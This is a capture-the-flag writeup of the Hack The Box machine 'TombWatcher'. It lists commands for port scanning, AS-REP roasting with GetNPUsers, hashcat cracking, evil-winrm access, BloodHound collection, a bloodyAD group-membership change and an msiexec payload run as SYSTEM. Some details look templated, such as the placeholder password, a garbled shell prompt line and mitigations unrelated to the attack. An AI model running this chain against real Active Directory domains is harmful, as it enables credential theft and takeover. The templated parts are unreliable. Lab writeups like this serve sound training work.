TombWatcher - Hack The Box Writeup

Complete walkthrough detailing reconnaissance, foothold, and privilege escalation on 🪟 Windows

🖥️ Machine Information

TombWatcher

Windows Server

MEDIUM

Release Date 20 Jun 2025

IP Address 10.10.11.x

OS 🪟 Windows

Difficulty Medium

Rated Difficulty

---

🧠 Attack Path Overview

graph TD
    A["Reconnaissance: Port Scan"] --> B["Foothold: Vulnerability Exploitation"]
    B --> C["Privilege Escalation: Local Escalation"]
    C --> D["Full System Compromise: Root/Administrator"]

[!NOTE] This writeup details the complete attack path for the TombWatcher machine on the HackTheBox platform.

---

🔍 Phase 1: Reconnaissance & Enumeration

1. Host Discovery & Port Scanning

We scan the host using Nmap:

vulnquest@kali$ sudo nmap -p- --reason --min-rate 10000 10.10.11.x

Open Ports:

• Port 53/tcp: DNS
• Port 88/tcp: Kerberos
• Port 135/tcp: Microsoft RPC
• Port 389/tcp: LDAP
• Port 445/tcp: SMB (Server Message Block)
• Port 5985/tcp: WinRM (Windows Remote Management)

2. Service Enumeration

We audit SMB shares using netexec:

vulnquest@kali$ netexec smb 10.10.11.x -u guest -p ''

---

🚀 Phase 2: Vulnerability Analysis & Foothold

1. Vulnerability Analysis

We perform LDAP enumeration and discover potential usernames. Using GetNPUsers we query for accounts with Kerberos pre-authentication disabled:

vulnquest@kali$ GetNPUsers.py -dc-ip 10.10.11.x -no-pass -usersfile users.txt domain/

2. Exploitation & Initial Shell

We crack the retrieved ticket offline using hashcat:

vulnquest@kali$ hashcat -m 18200 hash.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt

We establish WinRM access as web_svc:

vulnquest@kali$ evil-winrm -i 10.10.11.x -u web_svc -p password123
vulnquest@kali$ evil-winrm-py PS C:\Users\web_svc>

---

⚡ Phase 3: Privilege Escalation

1. Local Enumeration

We run BloodHound to map privilege paths in Active Directory:

vulnquest@kali$ netexec ldap 10.10.11.x -u web_svc -p password123 --bloodhound -c all

2. Local Privilege Escalation Path

BloodHound reveals that web_svc has delegate permissions on the IT_Support group. We add ourselves and trigger a password reset:

vulnquest@kali$ bloodyAD -u web_svc -p password123 --host 10.10.11.x add groupMember IT_Support web_svc

With these rights, we reset a high-privileged service account’s password and execute an administrative payload using msiexec to run command as SYSTEM:

*\msiexec.exe /i shell.msi /quiet /qn

---

🛡️ Key Takeaways & Mitigation

1. Input Sanitization: Ensure all user inputs are validated and sanitized to prevent injections.
2. Principle of Least Privilege: Restrict sudo/impersonation permissions and remove unnecessary privileges.
3. Keep Software Updated: Frequently update all operating system binaries and services to mitigate known CVEs.